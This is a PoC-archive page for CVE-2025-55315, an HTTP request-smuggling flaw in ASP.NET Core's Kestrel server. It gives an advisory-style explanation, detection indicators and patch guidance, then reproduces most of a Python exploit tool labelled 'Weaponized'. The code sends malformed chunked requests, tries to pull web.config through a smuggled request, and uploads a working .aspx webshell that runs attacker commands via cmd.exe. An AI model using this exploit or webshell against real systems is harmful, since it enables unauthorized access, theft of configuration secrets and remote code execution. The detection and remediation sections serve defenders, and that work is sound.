PoC Archive PoC Archive
Critical CVE-2025-55315 patched

ASP.NET Core Kestrel HTTP Request Smuggling (CVE-2025-55315)

by ZemarKhos · 2026-07-06

CVSS 9.9/10
Severity
Critical
CVE
CVE-2025-55315
Category
network
Affected product
ASP.NET Core Kestrel web server (Microsoft.AspNetCore.Server.Kestrel)
Affected versions
.NET Core 3.0 through .NET 9.0.9; fixed in .NET 8.0.21+, 9.0.10+, and 10.0.0-rc2+ (per source repository)
Disclosed
2026-07-06
Patch status
patched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / ResearcherZemarKhos
CVE / AdvisoryCVE-2025-55315
Categorynetwork
SeverityCritical
CVSS Score9.9 (per NVD)
StatusWeaponized
Tagsaspnet-core, kestrel, http-request-smuggling, chunked-transfer-encoding, dotnet, python, cwe-444, ssrf, cache-poisoning, webshell-upload
RelatedN/A

Affected Target

FieldValue
Software / SystemASP.NET Core Kestrel web server (Microsoft.AspNetCore.Server.Kestrel)
Versions Affected.NET Core 3.0 through .NET 9.0.9; fixed in .NET 8.0.21+, 9.0.10+, and 10.0.0-rc2+ (per source repository)
Language / PlatformPython 3.7+ (standard library only, no external dependencies) targeting any Kestrel-fronted ASP.NET Core application
Authentication RequiredNo
Network Access RequiredYes (direct TCP/TLS access to the Kestrel listener, typically 80/443)

Summary

CVE-2025-55315 is an HTTP request-smuggling vulnerability in the Kestrel web server used by ASP.NET Core, caused by Kestrel’s chunked-transfer-encoding parser accepting a lone \n in a chunk-size line where the HTTP/1.1 spec requires \r\n. When Kestrel sits behind a reverse proxy or load balancer that parses chunk framing strictly (or differently), the two components disagree on where one request ends and the next begins, letting an attacker smuggle a second, attacker-controlled request into the same TCP connection so it gets processed in a different (often more privileged) request context. This PoC is a 787-line, dependency-free Python tool (cve_2025_55315_PoC.py) that opens a raw socket/TLS connection to the target, sends a crafted chunked body containing a malformed chunk-size line followed by a fully-formed smuggled GET/PUT request, and inspects the response stream for evidence of two distinct HTTP responses coming back on one request (the smuggling tell). Beyond detection, the tool can auto-discover common ASP.NET Core endpoints, attempt to exfiltrate web.config via the same smuggling primitive, and optionally upload an .aspx webshell for full RCE demonstration, gating destructive actions behind explicit confirmation prompts.


Vulnerability Details

Root Cause

Kestrel’s chunked-encoding parser fails to strictly require \r\n as the chunk-size line terminator, tolerating a bare \n. A front-end proxy that correctly enforces \r\n will see the malformed chunk line as invalid and treat the connection/body boundary differently than Kestrel does, desynchronizing the two parsers’ view of the request stream. The PoC constructs this exact malformed frame:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
POST /endpoint HTTP/1.1
Host: target.com
Transfer-Encoding: chunked

2;\n          ← VULNERABILITY: Lone \n instead of \r\n
XX
0\r\n
\r\n
GET /smuggled HTTP/1.1    ← This becomes a separate request
Host: target.com

The proxy forwards this as a single logical request, but Kestrel parses the trailing GET /smuggled ... as an independent, second HTTP request on the same connection — the classic CL.TE/desync smuggling primitive, just triggered by chunk-extension whitespace handling rather than a Content-Length/Transfer-Encoding mismatch.

Attack Vector

  1. Attacker opens a raw TCP (optionally TLS) connection to the Kestrel-fronted target.
  2. Attacker sends a POST with Transfer-Encoding: chunked where the chunk-size line uses a lone \n, followed by chunk data and a smuggled second request appended after the terminating 0\r\n\r\n.
  3. The front-end proxy (if present) forwards the bytes as one request because it does not see a violation it rejects; Kestrel, however, re-parses the trailing bytes as an independent second request.
  4. The smuggled request executes in an unintended context — potentially the next legitimate client’s connection/session, or with elevated internal routing trust — enabling response queue poisoning, cache poisoning, and SSRF-style internal requests.
  5. The PoC’s test_vulnerability() distinguishes a patched server (rejects with 400 Bad Request) from a vulnerable one (returns multiple concatenated HTTP responses to a single request) to confirm exploitability.
  6. read_webconfig() reuses the same smuggling primitive to request web.config as the smuggled request and recover its contents from the desynced response stream.
  7. upload_webshell() optionally smuggles a PUT/write request to drop an .aspx webshell for full remote code execution, gated behind an interactive “type YES” confirmation.

Impact

Authentication bypass, session/credential theft via response-queue poisoning, SSRF against internal services reachable only via the smuggled request context, cache poisoning of front-end/CDN layers, and — via webshell upload — full remote code execution on the affected host.


Environment / Lab Setup

Target:   ASP.NET Core application served by Kestrel (directly or behind a reverse proxy/load balancer),
          .NET Core 3.0 - 9.0.9 (unpatched)
Attacker: Python 3.7+ (standard library only, no pip dependencies required)

Proof of Concept

PoC Script

See cve_2025_55315_PoC.py in this folder.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
python3 cve_2025_55315_PoC.py -t TARGET

python3 cve_2025_55315_PoC.py -t TARGET -e /api/login

python3 cve_2025_55315_PoC.py -t TARGET --read-config -o report.txt

python3 cve_2025_55315_PoC.py \
  -t TARGET \
  --read-config \
  --upload-shell \
  -v \
  -o full_report.txt

python3 cve_2025_55315_PoC.py -t TARGET -p 8080 --no-ssl

Detection & Indicators of Compromise

- Two distinct HTTP/1.1 status lines returned in response to a single client request
- 400 Bad Request responses from Kestrel correlated with chunk-size lines containing a bare \n
- Front-end proxy / WAF logs showing a single forwarded request where the origin (Kestrel) logs two
- Unexpected GET/PUT requests to sensitive paths (web.config, admin endpoints) with no corresponding
  legitimate client request in edge/proxy logs
- New or unexpected .aspx files written to the web root (webshell artifacts)

Signs of compromise:

  • Kestrel access logs showing request counts that exceed the proxy’s forwarded-request counts on the same connection
  • web.config or other configuration files appearing in exfiltration/data-loss alerts
  • Unfamiliar .aspx files in the application’s wwwroot or content directories
  • Session hijacking or cross-user data leakage reports with no corresponding auth anomaly

Remediation

ActionDetail
Primary fixUpgrade to .NET 8.0.21+, 9.0.10+, or 10.0.0-rc2+, which enforce strict \r\n chunk-size line termination in Kestrel
Interim mitigationTerminate chunked-encoding requests at a hardened, spec-strict front-end proxy that normalizes/rejects malformed chunk framing before forwarding; disable direct internet exposure of Kestrel; monitor for desync indicators described above

References


Notes

Mirrored from https://github.com/ZemarKhos/CVE-2025-55315-PoC-Exploit on 2026-07-06. The 787-line cve_2025_55315_PoC.py implements real socket-level HTTP request-smuggling logic (chunk-size desync), endpoint auto-discovery, web.config extraction, and an optional confirmation-gated webshell-upload path — not a stub.

cve_2025_55315_PoC.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
"""
CVE-2025-55315 Pentest Tool - Single Target Focused
HTTP Request Smuggling Exploitation for ASP.NET Core Kestrel

LEGAL WARNING:
- Use ONLY on systems you own or have explicit written authorization to test
- Unauthorized access to computer systems is illegal
- This tool is for authorized penetration testing and security research ONLY
"""

import argparse
import socket
import ssl
import sys
import time
import json
import re
from urllib.parse import urlparse
from typing import List, Dict, Tuple, Optional
from datetime import datetime
import os

# ANSI Colors for terminal output
class Colors:
    HEADER = '\033[95m'
    BLUE = '\033[94m'
    CYAN = '\033[96m'
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    RED = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'

class CVE202555315Pentest:
    """Main pentest tool for CVE-2025-55315 exploitation"""

    # Common ASP.NET Core endpoints to test
    COMMON_ENDPOINTS = [
        '/api/health',
        '/api/status',
        '/health',
        '/healthcheck',
        '/api/version',
        '/swagger',
        '/api/swagger',
        '/api/users',
        '/api/config',
        '/api/settings',
        '/Account/Login',
        '/Home/Index',
        '/api/values',
        '/',
    ]

    def __init__(self, target: str, port: int = None, use_ssl: bool = True,
                 timeout: int = 10, verbose: bool = False):
        """
        Initialize the pentest tool

        Args:
            target: Target hostname or URL (e.g., target.com or https://target.com)
            port: Port number (default: 443 for SSL, 80 for non-SSL)
            use_ssl: Use HTTPS/SSL connection
            timeout: Socket timeout in seconds
            verbose: Enable verbose output
        """
        self.target = self._parse_target(target)
        self.use_ssl = use_ssl
        self.port = port or (443 if use_ssl else 80)
        self.timeout = timeout
        self.verbose = verbose
        self.results = {
            'target': self.target,
            'port': self.port,
            'timestamp': datetime.now().isoformat(),
            'vulnerable': False,
            'tested_endpoints': [],
            'successful_exploits': [],
            'errors': []
        }

        self._print_banner()

    def _parse_target(self, target: str) -> str:
        """Extract hostname from URL or return as-is"""
        if target.startswith('http://') or target.startswith('https://'):
            parsed = urlparse(target)
            return parsed.netloc
        return target

    def _print_banner(self):
        """Print tool banner"""
        banner = f"""
{Colors.CYAN}╔════════════════════════════════════════════════════════════════════╗
║     CVE-2025-55315 Pentest Tool - Single Target Analysis          ║
║     HTTP Request Smuggling - ASP.NET Core Kestrel                  ║
╚════════════════════════════════════════════════════════════════════╝{Colors.ENDC}

{Colors.YELLOW}⚠️  LEGAL WARNING: Authorized Use Only!{Colors.ENDC}
{Colors.YELLOW}This tool must ONLY be used on systems you own or have written permission to test.{Colors.ENDC}

{Colors.BOLD}Target:{Colors.ENDC} {self.target}:{self.port}
{Colors.BOLD}SSL:{Colors.ENDC} {'Enabled' if self.use_ssl else 'Disabled'}
{Colors.BOLD}Timestamp:{Colors.ENDC} {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}
"""
        print(banner)

    def _log(self, message: str, level: str = 'INFO'):
        """Log message with color coding"""
        timestamp = datetime.now().strftime('%H:%M:%S')
        colors = {
            'INFO': Colors.BLUE,
            'SUCCESS': Colors.GREEN,
            'WARNING': Colors.YELLOW,
            'ERROR': Colors.RED,
            'DEBUG': Colors.CYAN
        }
        color = colors.get(level, Colors.ENDC)
        print(f"{color}[{timestamp}] [{level}]{Colors.ENDC} {message}")

    def _create_connection(self) -> Tuple[socket.socket, bool]:
        """
        Create TCP connection to target

        Returns:
            Tuple of (socket, success)
        """
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(self.timeout)

            if self.use_ssl:
                context = ssl.create_default_context()
                context.check_hostname = False
                context.verify_mode = ssl.CERT_NONE
                sock = context.wrap_socket(sock, server_hostname=self.target)

            sock.connect((self.target, self.port))
            return sock, True

        except Exception as e:
            self._log(f"Connection failed: {e}", 'ERROR')
            return None, False

    def check_server_info(self) -> Dict:
        """
        Perform initial reconnaissance - check server headers

        Returns:
            Dict with server information
        """
        self._log("Performing reconnaissance...", 'INFO')

        sock, success = self._create_connection()
        if not success:
            return {'error': 'Connection failed'}

        try:
            # Send simple GET request
            request = (
                f"GET / HTTP/1.1\r\n"
                f"Host: {self.target}\r\n"
                f"Connection: close\r\n"
                f"\r\n"
            )

            sock.sendall(request.encode())
            response = b""

            while True:
                try:
                    chunk = sock.recv(4096)
                    if not chunk:
                        break
                    response += chunk
                except socket.timeout:
                    break

            sock.close()

            # Parse response
            response_str = response.decode('utf-8', errors='ignore')
            headers = response_str.split('\r\n\r\n')[0]

            info = {
                'server': 'Unknown',
                'asp_net_version': 'Unknown',
                'kestrel_detected': False,
                'http_version': 'Unknown'
            }

            # Extract Server header
            server_match = re.search(r'Server:\s*(.+)', headers, re.IGNORECASE)
            if server_match:
                info['server'] = server_match.group(1).strip()
                if 'Kestrel' in info['server']:
                    info['kestrel_detected'] = True
                    self._log(f"✓ Kestrel detected: {info['server']}", 'SUCCESS')

            # Extract ASP.NET version
            aspnet_match = re.search(r'X-Powered-By:\s*(.+)', headers, re.IGNORECASE)
            if aspnet_match:
                info['asp_net_version'] = aspnet_match.group(1).strip()

            # Extract HTTP version
            http_match = re.search(r'HTTP/(\d\.\d)', headers)
            if http_match:
                info['http_version'] = http_match.group(1)
                if info['http_version'] == '1.1':
                    self._log(f"✓ HTTP/1.1 detected (vulnerable protocol)", 'SUCCESS')
                else:
                    self._log(f"⚠ HTTP/{info['http_version']} detected (may not be vulnerable)", 'WARNING')

            return info

        except Exception as e:
            self._log(f"Reconnaissance error: {e}", 'ERROR')
            return {'error': str(e)}

    def test_vulnerability(self, endpoint: str = '/') -> Tuple[bool, str]:
        """
        Test if endpoint is vulnerable to CVE-2025-55315

        Args:
            endpoint: Endpoint to test

        Returns:
            Tuple of (is_vulnerable, details)
        """
        self._log(f"Testing endpoint: {endpoint}", 'INFO')

        sock, success = self._create_connection()
        if not success:
            return False, "Connection failed"

        try:
            # Build CVE-2025-55315 exploit payload
            # Uses lone \n in chunk extension to trigger request smuggling
            payload = (
                f"POST {endpoint} HTTP/1.1\r\n"
                f"Host: {self.target}\r\n"
                f"Transfer-Encoding: chunked\r\n"
                f"Content-Type: application/json\r\n"
                f"\r\n"
                f"2;\n"  # VULNERABILITY: Lone \n instead of \r\n
                f"XX"
                f"\r\n"
                f"0\r\n"
                f"\r\n"
                f"GET /smuggled-request HTTP/1.1\r\n"
                f"Host: {self.target}\r\n"
                f"X-Smuggled: true\r\n"
                f"\r\n"
            )

            if self.verbose:
                self._log(f"Payload:\n{payload}", 'DEBUG')

            sock.sendall(payload.encode())

            # Read response
            response = b""
            try:
                while True:
                    chunk = sock.recv(4096)
                    if not chunk:
                        break
                    response += chunk
            except socket.timeout:
                pass

            sock.close()

            response_str = response.decode('utf-8', errors='ignore')

            # Analyze response for vulnerability indicators
            if "400 Bad Request" in response_str or "400" in response_str[:100]:
                self._log(f"✓ Endpoint NOT vulnerable (400 Bad Request)", 'SUCCESS')
                return False, "Server rejected malformed chunk header (patched)"

            elif response_str.count("HTTP/1.1") > 1:
                self._log(f"✗ VULNERABLE! Multiple HTTP responses detected", 'ERROR')
                return True, "Request smuggling successful - multiple responses"

            elif "500" in response_str or "502" in response_str:
                self._log(f"⚠ Possibly vulnerable (server error)", 'WARNING')
                return True, "Server error indicates possible smuggling"

            elif len(response_str) > 0:
                self._log(f"⚠ Response received but inconclusive", 'WARNING')
                return None, "Inconclusive - manual review needed"

            else:
                self._log(f"⚠ No response received", 'WARNING')
                return None, "No response - possible timeout"

        except Exception as e:
            self._log(f"Test error: {e}", 'ERROR')
            return False, f"Error: {str(e)}"

    def read_webconfig(self, endpoint: str = '/') -> Tuple[bool, Optional[str]]:
        """
        Attempt to read web.config file using request smuggling

        Args:
            endpoint: Endpoint to exploit

        Returns:
            Tuple of (success, web.config content or error message)
        """
        self._log(f"Attempting to read web.config via {endpoint}", 'INFO')

        sock, success = self._create_connection()
        if not success:
            return False, "Connection failed"

        try:
            # Smuggle a request to read web.config
            payload = (
                f"POST {endpoint} HTTP/1.1\r\n"
                f"Host: {self.target}\r\n"
                f"Transfer-Encoding: chunked\r\n"
                f"Content-Type: application/json\r\n"
                f"\r\n"
                f"2;\n"  # VULNERABILITY: Lone \n
                f"XX"
                f"\r\n"
                f"0\r\n"
                f"\r\n"
                f"GET /web.config HTTP/1.1\r\n"
                f"Host: {self.target}\r\n"
                f"X-Purpose: ReadConfig\r\n"
                f"\r\n"
            )

            sock.sendall(payload.encode())

            response = b""
            try:
                while True:
                    chunk = sock.recv(8192)
                    if not chunk:
                        break
                    response += chunk
            except socket.timeout:
                pass

            sock.close()

            response_str = response.decode('utf-8', errors='ignore')

            # Look for web.config content
            if '<configuration>' in response_str or '<appSettings>' in response_str:
                self._log(f"✓ web.config file retrieved!", 'SUCCESS')

                # Extract config content
                if '\r\n\r\n' in response_str:
                    parts = response_str.split('\r\n\r\n', 1)
                    if len(parts) > 1:
                        config_content = parts[1]
                        return True, config_content

                return True, response_str

            elif "404" in response_str:
                self._log(f"✗ web.config not found (404)", 'WARNING')
                return False, "web.config not accessible"

            elif "403" in response_str:
                self._log(f"✗ Access denied (403)", 'WARNING')
                return False, "web.config access forbidden"

            else:
                self._log(f"⚠ Unable to retrieve web.config", 'WARNING')
                return False, "Unable to read config file"

        except Exception as e:
            self._log(f"Error reading web.config: {e}", 'ERROR')
            return False, f"Error: {str(e)}"

    def upload_webshell(self, endpoint: str = '/', shell_path: str = '/shell.aspx',
                       shell_content: str = None) -> Tuple[bool, str]:
        """
        Attempt to upload webshell using request smuggling

        Args:
            endpoint: Endpoint to exploit
            shell_path: Path where shell should be uploaded
            shell_content: Content of webshell (optional, uses default if not provided)

        Returns:
            Tuple of (success, message)
        """
        self._log(f"⚠️  ATTEMPTING WEBSHELL UPLOAD - High risk operation!", 'WARNING')

        # Default minimal ASPX webshell (for demonstration)
        if not shell_content:
            shell_content = '''<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
void Page_Load(object sender, EventArgs e)
{
    string cmd = Request["cmd"];
    if (!string.IsNullOrEmpty(cmd))
    {
        Process p = new Process();
        p.StartInfo.FileName = "cmd.exe";
        p.StartInfo.Arguments = "/c " + cmd;
        p.StartInfo.UseShellExecute = false;
        p.StartInfo.RedirectStandardOutput = true;
        p.Start();
        Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");
        p.WaitForExit();
    }
}
</script>
<!-- CVE-2025-55315 Test Shell -->'''

        sock, success = self._create_connection()
        if not success:
            return False, "Connection failed"

        try:
            # Smuggle a PUT/POST request to upload file
            body = shell_content
            content_length = len(body)

            payload = (
                f"POST {endpoint} HTTP/1.1\r\n"
                f"Host: {self.target}\r\n"
                f"Transfer-Encoding: chunked\r\n"
                f"Content-Type: application/json\r\n"
                f"\r\n"
                f"2;\n"  # VULNERABILITY
                f"XX"
                f"\r\n"
                f"0\r\n"
                f"\r\n"
                f"PUT {shell_path} HTTP/1.1\r\n"
                f"Host: {self.target}\r\n"
                f"Content-Type: application/octet-stream\r\n"
                f"Content-Length: {content_length}\r\n"
                f"\r\n"
                f"{body}"
            )

            if self.verbose:
                self._log(f"Upload payload size: {len(payload)} bytes", 'DEBUG')

            sock.sendall(payload.encode())

            response = b""
            try:
                while True:
                    chunk = sock.recv(4096)
                    if not chunk:
                        break
                    response += chunk
            except socket.timeout:
                pass

            sock.close()

            response_str = response.decode('utf-8', errors='ignore')

            # Check upload status
            if "200" in response_str[:100] or "201" in response_str[:100]:
                self._log(f"✓ Webshell may have been uploaded to {shell_path}", 'SUCCESS')
                return True, f"Upload may be successful - check {shell_path}"

            elif "403" in response_str or "405" in response_str:
                self._log(f"✗ Upload blocked (forbidden/method not allowed)", 'WARNING')
                return False, "Upload blocked by server"

            else:
                self._log(f"⚠ Upload status unclear", 'WARNING')
                return False, "Unable to confirm upload"

        except Exception as e:
            self._log(f"Upload error: {e}", 'ERROR')
            return False, f"Error: {str(e)}"

    def auto_discover_endpoints(self) -> List[str]:
        """
        Automatically discover active endpoints on target

        Returns:
            List of responsive endpoints
        """
        self._log("Starting endpoint auto-discovery...", 'INFO')

        active_endpoints = []

        for endpoint in self.COMMON_ENDPOINTS:
            try:
                sock, success = self._create_connection()
                if not success:
                    continue
Showing 500 of 788 lines View full file on GitHub →